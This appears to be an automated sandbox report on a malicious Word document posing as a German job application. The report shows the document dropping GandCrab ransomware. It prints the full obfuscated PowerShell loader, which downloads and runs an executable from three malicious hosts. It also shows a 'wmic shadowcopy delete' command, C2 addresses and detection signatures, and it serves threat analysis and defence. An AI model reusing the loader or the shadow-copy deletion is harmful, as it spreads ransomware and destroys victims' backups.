File name:

Britta_Hollermann_Bewerbungsunterlagen.doc

Full analysis: https://app.any.run/tasks/c3a6dd92-0006-4d19-be2d-17eb0c0af4e2
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Analysis date: March 14, 2019, 15:02:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
opendir
loader
ransomware
gandcrab
trojan
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

1B737B8B7CE22967D2D4CDEDF7DC210D

SHA1:

DAF8C25D857FBC6E4D9D9B205C98338D54679485

SHA256:

DD27B85624CAC5B98F2670E1636C0B1787ECB088126D072F58DFB67C76D0FD09

SSDEEP:

1536:Wq+PpgnKZXGdythQh/zkq9D4aqFrvlUmz8qtBvNL:1+Da37kq9zqYVqtBvNL

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3320)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3320)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3468)
    • Application was dropped or rewritten from another process

      • 6.exe (PID: 3020)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 4076)
    • Actions looks like stealing of personal data

      • 6.exe (PID: 3020)
    • Writes file to Word startup folder

      • 6.exe (PID: 3020)
    • Renames files like Ransomware

      • 6.exe (PID: 3020)
    • Dropped file may contain instructions of ransomware

      • 6.exe (PID: 3020)
    • Changes settings of System certificates

      • 6.exe (PID: 3020)
    • GANDCRAB detected

      • 6.exe (PID: 3020)
    • Deletes shadow copies

      • 6.exe (PID: 3020)
    • Connects to CnC server

      • 6.exe (PID: 3020)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 4076)
      • 6.exe (PID: 3020)
    • Creates files in the Windows directory

      • powershell.exe (PID: 4076)
    • Removes files from Windows directory

      • powershell.exe (PID: 4076)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 4076)
    • Creates files in the program directory

      • 6.exe (PID: 3020)
    • Reads the cookies of Mozilla Firefox

      • 6.exe (PID: 3020)
    • Reads Internet Cache Settings

      • 6.exe (PID: 3020)
    • Adds / modifies Windows certificates

      • 6.exe (PID: 3020)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3320)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3320)
    • Dropped object may contain TOR URL's

      • 6.exe (PID: 3020)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x7df6b578
ZipCompressedSize: 427
ZipUncompressedSize: 1637
ZipFileName: [Content_Types].xml

XML

Template: Normal.dotm
TotalEditTime: -
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
Keywords: -
LastModifiedBy: Admin
RevisionNumber: 4
CreateDate: 2019:03:13 14:16:00Z
ModifyDate: 2019:03:13 15:23:00Z

XMP

Title: -
Subject: -
Creator: admin
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
6
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs powershell.exe #GANDCRAB 6.exe wmic.exe vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1368"C:\Windows\system32\wbem\wmic.exe" shadowcopy deleteC:\Windows\system32\wbem\wmic.exe
6.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
3020"C:\windows\temp\6.exe" C:\windows\temp\6.exe
powershell.exe
User:
admin
Company:
djsoft.net (c) 2003-2015
Integrity Level:
MEDIUM
Description:
Nullable Arsenals Identifier Addpackage
Exit code:
0
Modules
Images
c:\windows\temp\6.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv
3320"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Britta_Hollermann_Bewerbungsunterlagen.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3468c:\windows\system32\cmd /c set p=power&& set s=shell&& call %p%%s% $TpTHwrjVG = '$Xt6IXVHy = new-obj-658393886-16253271700ect -com-658393886-16253271700obj-658393886-16253271700ect wsc-658393886-16253271700ript.she-658393886-16253271700ll;$XdNivabeu = new-object sys-658393886-16253271700tem.net.web-658393886-16253271700client;$JgUosZV = new-object random;$aSBDE = \"-658393886-16253271700h-658393886-16253271700t-658393886-16253271700t-658393886-16253271700p-658393886-16253271700://nagiah.website/word.exe,-658393886-16253271700h-658393886-16253271700t-658393886-16253271700t-658393886-16253271700p-658393886-16253271700://mobilecontractoffers.co.uk/public/word.exe,-658393886-16253271700h-658393886-16253271700t-658393886-16253271700t-658393886-16253271700p-658393886-16253271700://mobilessavingdeals.co.uk/database/word.exe\".spl-658393886-16253271700it(\",\");$o4jRc2Yx = $JgUosZV.nex-658393886-16253271700t(1, 65536);$V8GNV = \"c:\win-658393886-16253271700dows\tem-658393886-16253271700p\6.ex-658393886-16253271700e\";for-658393886-16253271700each($rWx2E in $aSBDE){try{$XdNivabeu.dow-658393886-16253271700nlo-658393886-16253271700adf-658393886-16253271700ile($rWx2E.ToS-658393886-16253271700tring(), $V8GNV);sta-658393886-16253271700rt-pro-658393886-16253271700cess $V8GNV;break;}catch{}}'.replace('-658393886-16253271700', $kDVZR);$adVuZW = '';iex($TpTHwrjVG);c:\windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3740C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exeservices.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssvc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
4076powershell $TpTHwrjVG = '$Xt6IXVHy = new-obj-658393886-16253271700ect -com-658393886-16253271700obj-658393886-16253271700ect wsc-658393886-16253271700ript.she-658393886-16253271700ll;$XdNivabeu = new-object sys-658393886-16253271700tem.net.web-658393886-16253271700client;$JgUosZV = new-object random;$aSBDE = \"-658393886-16253271700h-658393886-16253271700t-658393886-16253271700t-658393886-16253271700p-658393886-16253271700://nagiah.website/word.exe,-658393886-16253271700h-658393886-16253271700t-658393886-16253271700t-658393886-16253271700p-658393886-16253271700://mobilecontractoffers.co.uk/public/word.exe,-658393886-16253271700h-658393886-16253271700t-658393886-16253271700t-658393886-16253271700p-658393886-16253271700://mobilessavingdeals.co.uk/database/word.exe\".spl-658393886-16253271700it(\",\");$o4jRc2Yx = $JgUosZV.nex-658393886-16253271700t(1, 65536);$V8GNV = \"c:\win-658393886-16253271700dows\tem-658393886-16253271700p\6.ex-658393886-16253271700e\";for-658393886-16253271700each($rWx2E in $aSBDE){try{$XdNivabeu.dow-658393886-16253271700nlo-658393886-16253271700adf-658393886-16253271700ile($rWx2E.ToS-658393886-16253271700tring(), $V8GNV);sta-658393886-16253271700rt-pro-658393886-16253271700cess $V8GNV;break;}catch{}}'.replace('-658393886-16253271700', $kDVZR);$adVuZW = '';iex($TpTHwrjVG);C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
1 868
Read events
1 084
Write events
779
Delete events
5

Modification events

(PID) Process:(3320) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:qy'
Value:
71792700F80C0000010000000000000000000000
(PID) Process:(3320) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3320) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3320) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1315831829
(PID) Process:(3320) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315831948
(PID) Process:(3320) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315831949
(PID) Process:(3320) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
F80C0000A015F8FC76DAD40100000000
(PID) Process:(3320) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:*z'
Value:
2A7A2700F80C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3320) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:*z'
Value:
2A7A2700F80C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3320) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
1
Suspicious files
430
Text files
319
Unknown types
20

Dropped files

PID
Process
Filename
Type
3320WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRDD71.tmp.cvr
MD5:
SHA256:
4076powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7KD28QSO8BQZXUYQXFW6.temp
MD5:
SHA256:
3320WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B977951F.jpeg
MD5:
SHA256:
3320WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF1BC2580C0AD3843E.TMP
MD5:
SHA256:
3320WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF082D74C3AB624170.TMP
MD5:
SHA256:
4076powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
4076powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ae7c1.TMPbinary
MD5:
SHA256:
3320WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:
SHA256:
30206.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi
MD5:
SHA256:
3320WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
3
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4076
powershell.exe
GET
200
185.61.154.3:80
http://mobilecontractoffers.co.uk/public/word.exe
GB
executable
674 Kb
malicious
3020
6.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4076
powershell.exe
185.61.154.3:80
mobilecontractoffers.co.uk
Namecheap, Inc.
GB
malicious
3020
6.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
3020
6.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious

DNS requests

Domain
IP
Reputation
nagiah.website
malicious
mobilecontractoffers.co.uk
  • 185.61.154.3
malicious
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
4076
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4076
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3020
6.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
3020
6.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
3020
6.exe
A Network Trojan was detected
MALWARE [PTsecurity] GandCrab v.5 SSL Connection
2 ETPRO signatures available at the full report
No debug info